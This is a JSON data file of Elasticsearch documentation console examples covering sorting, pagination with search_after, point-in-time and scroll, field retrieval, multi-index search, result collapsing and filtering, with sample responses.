{"source_location":{"file":"search/search-your-data/sort-search-results.asciidoc","line":629},"digest":"acb10091ad335ddd15d71021aaf23c62","lang":"console","found":["ruby","go"],"source":"GET /_search\n{\n \"track_scores\": true,\n \"sort\" : [\n { \"post_date\" : {\"order\" : \"desc\"} },\n { \"name\" : \"desc\" },\n { \"age\" : \"desc\" }\n ],\n \"query\" : {\n \"term\" : { \"user\" : \"kimchy\" }\n }\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":11},"digest":"820f689eaaef15fc07abd1073fa880f8","lang":"console","found":["ruby","go"],"source":"GET /_search\n{\n \"from\": 5,\n \"size\": 20,\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":73},"digest":"91750571c195718f0ff246e058e4bc63","lang":"console","found":["ruby"],"source":"GET twitter/_search\n{\n \"query\": {\n \"match\": {\n \"title\": \"elasticsearch\"\n }\n },\n \"sort\": [\n {\"date\": \"asc\"},\n {\"tie_breaker_id\": \"asc\"} <1>\n ]\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":94},"digest":"8a501f4a6e6de6ce8d467125400eabb8","lang":"console-result","found":[],"source":"{\n \"took\" : 17,\n \"timed_out\" : false,\n \"_shards\" : ...,\n \"hits\" : {\n \"total\" : ...,\n \"max_score\" : null,\n \"hits\" : [\n ...\n {\n \"_index\" : \"twitter\",\n \"_id\" : \"654322\",\n \"_score\" : null,\n \"_source\" : ...,\n \"sort\" : [\n 1463538855,\n \"654322\"\n ]\n },\n {\n \"_index\" : \"twitter\",\n \"_id\" : \"654323\",\n \"_score\" : null,\n \"_source\" : ...,\n \"sort\" : [ <1>\n 1463538857,\n \"654323\"\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":136},"digest":"d851282dba548251d10db5954a339307","lang":"console","found":["ruby"],"source":"GET twitter/_search\n{\n \"query\": {\n \"match\": {\n \"title\": \"elasticsearch\"\n }\n },\n \"search_after\": [1463538857, \"654323\"],\n \"sort\": [\n {\"date\": \"asc\"},\n {\"tie_breaker_id\": \"asc\"}\n ]\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":160},"digest":"5987afb2c17c73fe3d860937565ef115","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_pit?keep_alive=1m"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":168},"digest":"0ff873f3acf223856340dabff57e4ce8","lang":"console-result","found":[],"source":"{\n \"id\": \"46ToAwMDaWR5BXV1aWQyKwZub2RlXzMAAAAAAAAAACoBYwADaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQADaWR5BXV1aWQyKgZub2RlXzIAAAAAAAAAAAwBYgACBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA==\"\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":196},"digest":"47909e194d10743093f4a22c27a85925","lang":"console","found":[],"source":"GET /_search\n{\n \"size\": 10000,\n \"query\": {\n \"match\" : {\n \"user.id\" : \"elkbee\"\n }\n },\n \"pit\": {\n \"id\": \"46ToAwMDaWR5BXV1aWQyKwZub2RlXzMAAAAAAAAAACoBYwADaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQADaWR5BXV1aWQyKgZub2RlXzIAAAAAAAAAAAwBYgACBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA==\", <1>\n \"keep_alive\": \"1m\"\n },\n \"sort\": [ <2>\n {\"@timestamp\": {\"order\": \"asc\", \"format\": \"strict_date_optional_time_nanos\", \"numeric_type\" : \"date_nanos\" }}\n ]\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":227},"digest":"4e50d9d25bfb07ac73e3a2be5d2fbbf7","lang":"console","found":[],"source":"GET /_search\n{\n \"size\": 10000,\n \"query\": {\n \"match\" : {\n \"user.id\" : \"elkbee\"\n }\n },\n \"pit\": {\n \"id\": \"46ToAwMDaWR5BXV1aWQyKwZub2RlXzMAAAAAAAAAACoBYwADaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQADaWR5BXV1aWQyKgZub2RlXzIAAAAAAAAAAAwBYgACBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA==\", <1>\n \"keep_alive\": \"1m\"\n },\n \"sort\": [ <2>\n {\"@timestamp\": {\"order\": \"asc\", \"format\": \"strict_date_optional_time_nanos\"}},\n {\"_shard_doc\": \"desc\"}\n ]\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":253},"digest":"2938ccebfbc8550cc49016a68d8ef032","lang":"console-result","found":[],"source":"{\n \"pit_id\" : \"46ToAwMDaWR5BXV1aWQyKwZub2RlXzMAAAAAAAAAACoBYwADaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQADaWR5BXV1aWQyKgZub2RlXzIAAAAAAAAAAAwBYgACBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA==\", <1>\n \"took\" : 17,\n \"timed_out\" : false,\n \"_shards\" : ...,\n \"hits\" : {\n \"total\" : ...,\n \"max_score\" : null,\n \"hits\" : [\n ...\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"FaslK3QBySSL_rrj9zM5\",\n \"_score\" : null,\n \"_source\" : ...,\n \"sort\" : [ <2>\n \"2021-05-20T05:30:04.832Z\",\n 4294967298 <3>\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":290},"digest":"7846974b47a3eab1832a475663d23ad9","lang":"console","found":[],"source":"GET /_search\n{\n \"size\": 10000,\n \"query\": {\n \"match\" : {\n \"user.id\" : \"elkbee\"\n }\n },\n \"pit\": {\n \"id\": \"46ToAwMDaWR5BXV1aWQyKwZub2RlXzMAAAAAAAAAACoBYwADaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQADaWR5BXV1aWQyKgZub2RlXzIAAAAAAAAAAAwBYgACBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA==\", <1>\n \"keep_alive\": \"1m\"\n },\n \"sort\": [\n {\"@timestamp\": {\"order\": \"asc\", \"format\": \"strict_date_optional_time_nanos\"}}\n ],\n \"search_after\": [ <2>\n \"2021-05-20T05:30:04.832Z\",\n 4294967298\n ],\n \"track_total_hits\": false <3>\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":326},"digest":"9ff9b2a73419a6c82f17a358b4991499","lang":"console","found":["ruby"],"source":"DELETE /_pit\n{\n \"id\" : \"46ToAwMDaWR5BXV1aWQyKwZub2RlXzMAAAAAAAAAACoBYwADaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQADaWR5BXV1aWQyKgZub2RlXzIAAAAAAAAAAAwBYgACBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA==\"\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":383},"digest":"24f4dfdf9922d5aa79151675b7767742","lang":"console","found":["ruby"],"source":"POST /my-index-000001/_search?scroll=1m\n{\n \"size\": 100,\n \"query\": {\n \"match\": {\n \"message\": \"foo\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":401},"digest":"add240aa149d8b11139947502b279ee0","lang":"console","found":["go"],"source":"POST /_search/scroll <1>\n{\n \"scroll\" : \"1m\", <2>\n \"scroll_id\" : \"DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAD4WYm9laVYtZndUQlNsdDcwakFMNjU1QQ==\" <3>\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":433},"digest":"d5dcddc6398b473b6ad9bce5c6adf986","lang":"console","found":["php","ruby","go","js"],"source":"GET /_search?scroll=1m\n{\n \"sort\": [\n \"_doc\"\n ]\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":487},"digest":"72beebe779a258c225dee7b023e60c52","lang":"console","found":["php","ruby","go","js"],"source":"GET /_nodes/stats/indices/search"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":502},"digest":"a69b1ce5cc9528fb3639185eaf241ae3","lang":"console","found":["ruby","go"],"source":"DELETE /_search/scroll\n{\n \"scroll_id\" : \"DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAD4WYm9laVYtZndUQlNsdDcwakFMNjU1QQ==\"\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":513},"digest":"4342ccf6cc24fd80bd3cd1f9a4c2ef8e","lang":"console","found":["ruby","go"],"source":"DELETE /_search/scroll\n{\n \"scroll_id\" : [\n \"DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAD4WYm9laVYtZndUQlNsdDcwakFMNjU1QQ==\",\n \"DnF1ZXJ5VGhlbkZldGNoBQAAAAAAAAABFmtSWWRRWUJrU2o2ZExpSGJCVmQxYUEAAAAAAAAAAxZrUllkUVlCa1NqNmRMaUhiQlZkMWFBAAAAAAAAAAIWa1JZZFFZQmtTajZkTGlIYkJWZDFhQQAAAAAAAAAFFmtSWWRRWUJrU2o2ZExpSGJCVmQxYUEAAAAAAAAABBZrUllkUVlCa1NqNmRMaUhiQlZkMWFB\"\n ]\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":527},"digest":"c2c21e2824fbf6b7198ede30419da82b","lang":"console","found":["php","ruby","go","js"],"source":"DELETE /_search/scroll/_all"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":535},"digest":"b94cee0f74f57742b3948f9b784dfdd4","lang":"console","found":["php","ruby","go","js"],"source":"DELETE /_search/scroll/DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAD4WYm9laVYtZndUQlNsdDcwakFMNjU1QQ==,DnF1ZXJ5VGhlbkZldGNoBQAAAAAAAAABFmtSWWRRWUJrU2o2ZExpSGJCVmQxYUEAAAAAAAAAAxZrUllkUVlCa1NqNmRMaUhiQlZkMWFBAAAAAAAAAAIWa1JZZFFZQmtTajZkTGlIYkJWZDFhQQAAAAAAAAAFFmtSWWRRWUJrU2o2ZExpSGJCVmQxYUEAAAAAAAAABBZrUllkUVlCa1NqNmRMaUhiQlZkMWFB"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":548},"digest":"3758b8f2ab9f6f28a764ee6c42c85766","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search?scroll=1m\n{\n \"slice\": {\n \"id\": 0, <1>\n \"max\": 2 <2>\n },\n \"query\": {\n \"match\": {\n \"message\": \"foo\"\n }\n }\n}\nGET /my-index-000001/_search?scroll=1m\n{\n \"slice\": {\n \"id\": 1,\n \"max\": 2\n },\n \"query\": {\n \"match\": {\n \"message\": \"foo\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/paginate-search-results.asciidoc","line":613},"digest":"187733e50c60350f3f75921bea3b72c2","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search?scroll=1m\n{\n \"slice\": {\n \"field\": \"@timestamp\",\n \"id\": 0,\n \"max\": 10\n },\n \"query\": {\n \"match\": {\n \"message\": \"foo\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":58},"digest":"6c72f6791ba9223943f7556c5bfaa728","lang":"console","found":["ruby"],"source":"POST my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n },\n \"fields\": [\n \"user.id\",\n \"http.response.*\", <1>\n {\n \"field\": \"@timestamp\",\n \"format\": \"epoch_millis\" <2>\n }\n ],\n \"_source\": false\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":106},"digest":"fd43cfabdd053389db6a854f03b1a898","lang":"console-result","found":[],"source":"{\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"0\",\n \"_score\" : 1.0,\n \"fields\" : {\n \"user.id\" : [\n \"kimchy\"\n ],\n \"@timestamp\" : [\n \"4098435132000\"\n ],\n \"http.response.bytes\": [\n 1070000\n ],\n \"http.response.status_code\": [\n 200\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":159},"digest":"877ea90c663b5df9efe95717646a666f","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"group\" : { \"type\" : \"keyword\" },\n \"user\": {\n \"type\": \"nested\",\n \"properties\": {\n \"first\" : { \"type\" : \"keyword\" },\n \"last\" : { \"type\" : \"keyword\" }\n }\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1?refresh=true\n{\n \"group\" : \"fans\",\n \"user\" : [\n {\n \"first\" : \"John\",\n \"last\" : \"Smith\"\n },\n {\n \"first\" : \"Alice\",\n \"last\" : \"White\"\n }\n ]\n}\n\nPOST my-index-000001/_search\n{\n \"fields\": [\"*\"],\n \"_source\": false\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":202},"digest":"cf0a8e226243f1a3fe6a9d00bae5d677","lang":"console-result","found":[],"source":"{\n \"took\": 2,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.0,\n \"hits\": [{\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_score\": 1.0,\n \"fields\": {\n \"group\" : [\"fans\"],\n \"user\": [{\n \"first\": [\"John\"],\n \"last\": [\"Smith\"]\n },\n {\n \"first\": [\"Alice\"],\n \"last\": [\"White\"]\n }\n ]\n }\n }]\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":247},"digest":"c66dab0b114fa3e228e1c0e0e5a99b60","lang":"console","found":["ruby"],"source":"POST my-index-000001/_search\n{\n \"fields\": [\"user.first\"],\n \"_source\": false\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":260},"digest":"0d56a5f36f97d3afd7e8491f6243c1bd","lang":"console-result","found":[],"source":"{\n \"took\": 2,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.0,\n \"hits\": [{\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_score\": 1.0,\n \"fields\": {\n \"user\": [{\n \"first\": [\"John\"]\n },\n {\n \"first\": [\"Alice\"]\n }\n ]\n }\n }]\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":317},"digest":"b8cc74a92bac837bfd8ba6d5935350ed","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"enabled\": false <1>\n }\n}\n\nPUT my-index-000001/_doc/1?refresh=true\n{\n \"user_id\": \"kimchy\",\n \"session_data\": {\n \"object\": {\n \"some_field\": \"some_value\"\n }\n }\n}\n\nPOST my-index-000001/_search\n{\n \"fields\": [\n \"user_id\",\n {\n \"field\": \"session_data.object.*\",\n \"include_unmapped\" : true <2>\n }\n ],\n \"_source\": false\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":357},"digest":"2743f6e2caa544c80497a6d06c8e11c8","lang":"console-result","found":[],"source":"{\n \"took\" : 2,\n \"timed_out\" : false,\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"1\",\n \"_score\" : 1.0,\n \"fields\" : {\n \"session_data.object.some_field\": [\n \"some_value\"\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":408},"digest":"22882d4eb8b99f44c8e0d3a2c893fc4b","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"my-small\" : { \"type\" : \"keyword\", \"ignore_above\": 2 }, <1>\n \"my-large\" : { \"type\" : \"keyword\" }\n }\n }\n}\n\nPUT my-index-000001/_doc/1?refresh=true\n{\n \"my-small\": [\"ok\", \"bad\"], <2>\n \"my-large\": \"ok content\"\n}\n\nPOST my-index-000001/_search\n{\n \"fields\": [\"my-*\"],\n \"_source\": false\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":441},"digest":"eafa72bb8eb9e1a3ffd3c3e080f7298f","lang":"console-result","found":[],"source":"{\n \"took\" : 2,\n \"timed_out\" : false,\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"1\",\n \"_score\" : 1.0,\n \"_ignored\" : [ \"my-small\"],\n \"fields\" : {\n \"my-large\": [\n \"ok content\"\n ],\n \"my-small\": [\n \"ok\"\n ]\n },\n \"ignored_field_values\" : {\n \"my-small\": [\n \"bad\"\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":496},"digest":"dc3b7603e7d688106acb804059af7834","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"_source\": false,\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":513},"digest":"a0497157fdefecd04e597edb800a1a95","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"_source\": \"obj.*\",\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":530},"digest":"d979f934af0992fb8c8596beff80b638","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"_source\": [ \"obj1.*\", \"obj2.*\" ],\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":556},"digest":"279e2b29261971999923fdc658bba8ff","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"_source\": {\n \"includes\": [ \"obj1.*\", \"obj2.*\" ],\n \"excludes\": [ \"*.description\" ]\n },\n \"query\": {\n \"term\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":620},"digest":"a810da963d3b28d79dcd17be829bb271","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n },\n \"docvalue_fields\": [\n \"user.id\",\n \"http.response.*\", <1>\n {\n \"field\": \"date\",\n \"format\": \"epoch_millis\" <2>\n }\n ]\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":670},"digest":"6f8a682c908b826ca90cadd9d2f582b4","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"stored_fields\" : [\"user\", \"postDate\"],\n \"query\" : {\n \"term\" : { \"user\" : \"kimchy\" }\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":686},"digest":"441f330f6872f995769db1ce2b9627e2","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"stored_fields\" : [],\n \"query\" : {\n \"term\" : { \"user\" : \"kimchy\" }\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":714},"digest":"68cb8a452e780ca78b0cb761be3629af","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"stored_fields\": \"_none_\",\n \"query\" : {\n \"term\" : { \"user\" : \"kimchy\" }\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":734},"digest":"e3a6462ca79c101314da0680c97678cd","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"match_all\": {}\n },\n \"script_fields\": {\n \"test1\": {\n \"script\": {\n \"lang\": \"painless\",\n \"source\": \"doc['price'].value * 2\"\n }\n },\n \"test2\": {\n \"script\": {\n \"lang\": \"painless\",\n \"source\": \"doc['price'].value * params.factor\",\n \"params\": {\n \"factor\": 2.0\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/retrieve-selected-fields.asciidoc","line":770},"digest":"d5bf9bc08f622ece98632a14a3982e27","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"match_all\": {}\n },\n \"script_fields\": {\n \"test1\": {\n \"script\": \"params['_source']['message']\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-multiple-indices.asciidoc","line":11},"digest":"32123981430e5a8b34fe14314fc48429","lang":"console","found":["ruby"],"source":"GET /my-index-000001,my-index-000002/_search\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-multiple-indices.asciidoc","line":30},"digest":"88b19973b970adf9b73fca82017d4951","lang":"console","found":["ruby"],"source":"GET /my-index-*/_search\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-multiple-indices.asciidoc","line":49},"digest":"6ea062455229151e311869a81ee40252","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}\n\nGET /_all/_search\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}\n\nGET /*/_search\n{\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-multiple-indices.asciidoc","line":90},"digest":"a95a123b9f862e52ab1e8f875961c852","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"indices_boost\": [\n { \"my-index-000001\": 1.4 },\n { \"my-index-000002\": 1.3 }\n ]\n}"}, {"source_location":{"file":"search/search-your-data/search-multiple-indices.asciidoc","line":104},"digest":"443dd902f64b3217505c9595839c3b2d","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"indices_boost\": [\n { \"my-alias\": 1.4 },\n { \"my-index*\": 1.3 }\n ]\n}"}, {"source_location":{"file":"search/search-your-data/collapse-search-results.asciidoc","line":12},"digest":"75e13a00f0909c955031ff62acc14a79","lang":"console","found":[],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"message\": \"GET /search\"\n }\n },\n \"collapse\": {\n \"field\": \"user.id\" <1>\n },\n \"sort\": [\n {\n \"http.response.bytes\": { <2>\n \"order\": \"desc\"\n }\n }\n ],\n \"from\": 0 <3>\n}"}, {"source_location":{"file":"search/search-your-data/collapse-search-results.asciidoc","line":53},"digest":"2898cf033b5bdefdbe3723af850b25c5","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"message\": \"GET /search\"\n }\n },\n \"collapse\": {\n \"field\": \"user.id\", <1>\n \"inner_hits\": {\n \"name\": \"most_recent\", <2>\n \"size\": 5, <3>\n \"sort\": [ { \"@timestamp\": \"desc\" } ] <4>\n },\n \"max_concurrent_group_searches\": 4 <5>\n },\n \"sort\": [\n {\n \"http.response.bytes\": {\n \"order\": \"desc\"\n }\n }\n ]\n}"}, {"source_location":{"file":"search/search-your-data/collapse-search-results.asciidoc","line":93},"digest":"24275847128b68da6e14233aa1259fb9","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"message\": \"GET /search\"\n }\n },\n \"collapse\": {\n \"field\": \"user.id\", <1>\n \"inner_hits\": [\n {\n \"name\": \"largest_responses\", <2>\n \"size\": 3,\n \"sort\": [\n {\n \"http.response.bytes\": {\n \"order\": \"desc\"\n }\n }\n ]\n },\n {\n \"name\": \"most_recent\", <3>\n \"size\": 3,\n \"sort\": [\n {\n \"@timestamp\": {\n \"order\": \"desc\"\n }\n }\n ]\n }\n ]\n },\n \"sort\": [\n \"http.response.bytes\"\n ]\n}"}, {"source_location":{"file":"search/search-your-data/collapse-search-results.asciidoc","line":161},"digest":"35c664285f2e8b7d5d50ca37ae3ba794","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"message\": \"GET /search\"\n }\n },\n \"collapse\": {\n \"field\": \"user.id\"\n },\n \"sort\": [ \"user.id\" ],\n \"search_after\": [\"dd5ce1ad\"]\n}"}, {"source_location":{"file":"search/search-your-data/collapse-search-results.asciidoc","line":205},"digest":"8743887d9b89ea1a2d5e780c349972cf","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"message\": \"GET /search\"\n }\n },\n \"collapse\": {\n \"field\": \"geo.country_name\",\n \"inner_hits\": {\n \"name\": \"by_location\",\n \"collapse\": { \"field\": \"user.id\" },\n \"size\": 3\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/collapse-search-results.asciidoc","line":227},"digest":"b5e7ec8c762197206f806ad625fc42b9","lang":"console-result","found":[],"source":"{\n \"hits\" : {\n \"hits\" : [\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"oX9uXXoB0da05OCR3adK\",\n \"_score\" : 0.5753642,\n \"_source\" : {\n \"@timestamp\" : \"2099-11-15T14:12:12\",\n \"geo\" : {\n \"country_name\" : \"Amsterdam\"\n },\n \"http\" : {\n \"request\" : {\n \"method\" : \"get\"\n },\n \"response\" : {\n \"bytes\" : 1070000,\n \"status_code\" : 200\n },\n \"version\" : \"1.1\"\n },\n \"message\" : \"GET /search HTTP/1.1 200 1070000\",\n \"source\" : {\n \"ip\" : \"127.0.0.1\"\n },\n \"user\" : {\n \"id\" : \"kimchy\"\n }\n },\n \"fields\" : {\n \"geo.country_name\" : [\n \"Amsterdam\"\n ]\n },\n \"inner_hits\" : {\n \"by_location\" : {\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 0.5753642,\n \"hits\" : [\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"oX9uXXoB0da05OCR3adK\",\n \"_score\" : 0.5753642,\n \"_source\" : {\n \"@timestamp\" : \"2099-11-15T14:12:12\",\n \"geo\" : {\n \"country_name\" : \"Amsterdam\"\n },\n \"http\" : {\n \"request\" : {\n \"method\" : \"get\"\n },\n \"response\" : {\n \"bytes\" : 1070000,\n \"status_code\" : 200\n },\n \"version\" : \"1.1\"\n },\n \"message\" : \"GET /search HTTP/1.1 200 1070000\",\n \"source\" : {\n \"ip\" : \"127.0.0.1\"\n },\n \"user\" : {\n \"id\" : \"kimchy\"\n }\n },\n \"fields\" : {\n \"user.id\" : [\n \"kimchy\"\n ]\n }\n }\n ]\n }\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/filter-search-results.asciidoc","line":29},"digest":"1a81fe0186369838531e116e85aa4ccd","lang":"console","found":["ruby"],"source":"PUT /shirts\n{\n \"mappings\": {\n \"properties\": {\n \"brand\": { \"type\": \"keyword\"},\n \"color\": { \"type\": \"keyword\"},\n \"model\": { \"type\": \"keyword\"}\n }\n }\n}\n\nPUT /shirts/_doc/1?refresh\n{\n \"brand\": \"gucci\",\n \"color\": \"red\",\n \"model\": \"slim\"\n}"}, {"source_location":{"file":"search/search-your-data/filter-search-results.asciidoc","line":58},"digest":"f83eb6605c7c56e297a494b318400ef0","lang":"console","found":["ruby"],"source":"GET /shirts/_search\n{\n \"query\": {\n \"bool\": {\n \"filter\": [\n { \"term\": { \"color\": \"red\" }},\n { \"term\": { \"brand\": \"gucci\" }}\n ]\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/filter-search-results.asciidoc","line":81},"digest":"81f1b1e1d5c81683b6bf471c469e6046","lang":"console","found":["ruby"],"source":"GET /shirts/_search\n{\n \"query\": {\n \"bool\": {\n \"filter\": [\n { \"term\": { \"color\": \"red\" }},\n { \"term\": { \"brand\": \"gucci\" }}\n ]\n }\n },\n \"aggs\": {\n \"models\": {\n \"terms\": { \"field\": \"model\" } <1>\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/filter-search-results.asciidoc","line":112},"digest":"48313f620c2871b6f4019b66be730109","lang":"console","found":["ruby"],"source":"GET /shirts/_search\n{\n \"query\": {\n \"bool\": {\n \"filter\": {\n \"term\": { \"brand\": \"gucci\" } <1>\n }\n }\n },\n \"aggs\": {\n \"colors\": {\n \"terms\": { \"field\": \"color\" } <2>\n },\n \"color_red\": {\n \"filter\": {\n \"term\": { \"color\": \"red\" } <3>\n },\n \"aggs\": {\n \"models\": {\n \"terms\": { \"field\": \"model\" } <3>\n }\n }\n }\n },\n \"post_filter\": { <4>\n \"term\": { \"color\": \"red\" }\n }\n}"}, 